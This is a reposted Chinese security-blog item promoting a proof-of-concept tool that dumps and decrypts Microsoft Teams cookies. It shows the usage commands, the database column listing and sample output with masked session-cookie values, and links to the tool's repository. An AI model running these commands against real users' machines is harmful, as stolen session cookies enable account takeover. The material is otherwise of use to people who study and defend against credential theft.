神兵利器 - 关于用于在最新版本的 Microsoft Teams 中转储和解密 cookie

admin 2023年11月6日13:07:51评论31 views字数 867阅读2分53秒阅读模式

用于在最新版本的 Microsoft Teams 中转储和解密 cookie 的 PoC

神兵利器 - 关于用于在最新版本的 Microsoft Teams 中转储和解密 cookie


extract.py 只是转储而不带参数

extract.exe只是extract.py打包成exe


team_dump.py

列出数据库中的值

python.exe .teams_dump.py teams --list
Table: metaColumns in meta: key, value--------------------------------------------------Table: cookiesColumns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party


将数据库转储到 json 文件中

python.exe .teams_dump.py teams --get[+] Host: teams.microsoft.com[+] Cookie Name MUIDB[+] Cookie Value: xxxxxxxxxxxxxx **************************************************[+] Host: teams.microsoft.com[+] Cookie Name TSREGIONCOOKIE[+] Cookie Value: xxxxxxxxxxxxxx **************************************************


项目地址

https://github.com/byinarie/teams_dump

原文始发于微信公众号(TtTeam):神兵利器 - 关于用于在最新版本的 Microsoft Teams 中转储和解密 cookie

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月6日13:07:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   神兵利器 - 关于用于在最新版本的 Microsoft Teams 中转储和解密 cookiehttp://cn-sec.com/archives/2180085.html

发表评论

匿名网友 填写信息